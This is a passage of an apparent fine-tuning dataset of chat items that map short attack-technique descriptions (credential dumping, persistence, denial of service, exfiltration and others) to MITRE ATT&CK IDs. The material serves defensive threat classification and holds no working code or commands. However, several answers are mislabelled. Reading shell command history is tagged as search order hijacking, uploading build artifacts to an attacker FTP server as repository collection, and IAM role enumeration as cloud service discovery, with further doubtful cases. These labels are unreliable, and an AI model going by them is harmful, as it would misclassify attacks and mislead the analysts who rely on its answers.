                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload executes the '7z' utility to combine and compress extracted files into a single archive for later transfer."
            },
            {
                "role": "assistant",
                "content": "T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker registers a malicious DLL with the COM class identifier and invokes Verclsid.exe to load and execute the payload, leveraging the System Binary Proxy Execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell script to allocate large amounts of memory on a workstation, leading to out‑of‑memory conditions and system slowdown."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a spoofed caller ID to pose as a government agency, demanding personal identification numbers from the target during a phone conversation."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured VNC server with no password, gaining unrestricted remote access."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat stores its command module within the embedded subtitles of a video file, extracting it during playback."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed the 'chown' command to change the owner of /etc/shadow to a low-privilege account, then set its permissions to 644 to read password hashes."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder gathers network trust dependencies by analyzing SAML trust configurations between services."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a PowerShell script that sets the firewall policy to 'AllowAll' on a remote endpoint."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion installs a rogue root certificate on a VPN client to intercept and decrypt remote communications."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a logic bomb to destroy data on a compromised system when specific conditions are met, such as a certain date or time being reached."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker decodes a GZIP‑compressed payload that was embedded within a TLS packet."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary used the PowerShell cmdlet Get-NetTCPConnection to list current TCP connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a domain controller, the attacker manually creates a forged Kerberos ticket (golden ticket) using known KRBTGT hash."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker checks for the presence of known hypervisor drivers such as vmhgfs.dll or vboxguest.sys to determine if it is being analyzed in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Azure Serial Console feature to gain interactive access to a compromised VM in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs a custom Python script that calls the Azure RBAC API to enumerate role-based access control groups across subscriptions."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a fake software update installer (named \"Update.exe\") that the user runs, installing the malware onto the system."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the verclsid system binary to load a malicious executable registered under its CLSID, achieving code execution without directly calling the payload."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the AppCert registry entries, the attacker ensures their malicious DLL is executed whenever the target application is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages the 'systeminfo' Windows API function to collect system uptime and boot time."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deployed Wireshark on a compromised machine to capture and analyze unencrypted traffic between servers."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up Exchange transport rules that discard incoming messages with specific subject lines, eliminating evidence of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses a crafted Outlook form template that launches a PowerShell script during Outlook launch, exploiting T1137.003."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email directs the victim to a fake login page that captures the session cookie and forwards it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script modifies the application's encryption library to use a hardcoded 64‑bit key, drastically reducing encryption strength."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers directly read the /etc/shadow file on a compromised Linux system to obtain password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the 'Get-Process' cmdlet to enumerate processes and locate privileged applications."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised domain accounts are used to bypass multi-factor authentication and access privileged resources."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group modifies the Outlook Home Page to a malicious .mhtml file that executes embedded VBScript on application startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Pass-the-Hash to authenticate to other Windows machines on the network and execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor queries the /proc directory to list all PID entries on a Unix host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unpatched servers exploited for unauthorized access"
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious CGI script acting as a web shell is uploaded via an unrestricted file upload feature, allowing the attacker to control the server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Dockerfile is introduced into the victim’s build process, resulting in a container that runs the attacker’s tools when instantiated."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By entering the victim's corporate name into a search engine, the attacker retrieves links to publicly hosted documentation."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a rogue LSASS driver that is automatically loaded when the OS initializes the LSASS service."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows API, the threat actor allocates a TLS index, copies its payload into the TLS region, and forces the victim process to execute it, achieving stealthy injection."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries rename their malicious executable to mimic a legitimate Windows system binary."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor generates a sustained stream of resource-intensive queries to a database endpoint, causing it to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware compresses the victim's hard drive image and uploads it to an AWS S3 bucket using stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a scheduled task that points to a script stored in the common Startup folder for automatic execution on login."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider reuses their legitimate Office 365 account to download confidential documents from SharePoint."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised vendor support session is used to plant a malicious ROMmon image on network equipment, establishing persistent code execution."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the Device Manager information to discover attached peripherals."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers altered the file header of a malicious executable so that it was identified as a legitimate image file by security tools."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform automated searches of open vulnerability databases to locate exploitable CVEs."
            },
            {
                "role": "assistant",
                "content": "T1596 - Search Open Technical Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a botnet to send continuous SMB connection attempts to a file server, saturating the endpoint's resources and leading to denial of service via T1499.002."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses direct calls to Windows native APIs rather than higher-level libraries to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages ICMP echo request (ping) amplification to saturate the victim's internet connection, causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a domain‑brute‑force tool to find hidden subdomains of the victim’s primary website, revealing test and staging servers."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A data‑collection module reads the recent command history from PowerShell and Bash shells."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan decodes a hex‑encoded payload retrieved via HTTP before loading it into memory for execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised build server uploads compiled binaries and source archives from the repository to an attacker‑controlled FTP server."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration routine hides stolen data inside the EXIF metadata of photograph files before uploading them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that leverages the rundll32.exe auto-elevation bug to run code as administrator without prompting the user."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disables the Bash history feature on compromised Linux servers to hide their command activity."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a tool like Responder, the adversary poisons LLMNR and NetBIOS name resolution to induce machines to send authentication tokens to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the \"mstsc\" client to open an RDP session to the target's Windows server for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a hidden script into a commonly used PDF on a shared drive, causing the script to run whenever the PDF is viewed."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed a password‑spraying attack against a list of corporate employees' Instagram accounts, eventually gaining access to several high‑value profiles."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing the cloud provider's IAM permissions, the attacker lists all roles and policies to understand privilege boundaries."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document initiates communication with a remote PHP script via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate confidential documents by transferring them to an external hard drive that is later collected by the group."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary runs a memory dump of securityd, extracting saved credentials for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised server generates massive HTTP GET requests to a target website, overwhelming its capacity and causing downtime."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing attempt via a Facebook Messenger chat containing a fake login page for the corporate VPN."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a credential dumping operation, the attacker also plants a malicious SSH key in the authorized_keys of the sudo group members to ensure future entry."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script looks for a specific environment variable set to 'PROD' and will only run its payload when this variable is present."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use Group Policy to deploy a signed Office add‑in that executes a payload each time PowerPoint starts."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the UEFI variables through the \"/sys/firmware/efi\" directory to harvest firmware revision data."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the same encrypted WebSocket channel for both issuing commands and uploading stolen documents."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue process reads raw sockets to intercept traffic for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a transparent proxy on the victim's network to eavesdrop on TLS connections and perform SSL stripping to read encrypted data."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors altered the backend pool of a cloud load balancer to route traffic through compromised hosts under their control."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a PowerShell script to decode a URL‑encoded command string before invoking it."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
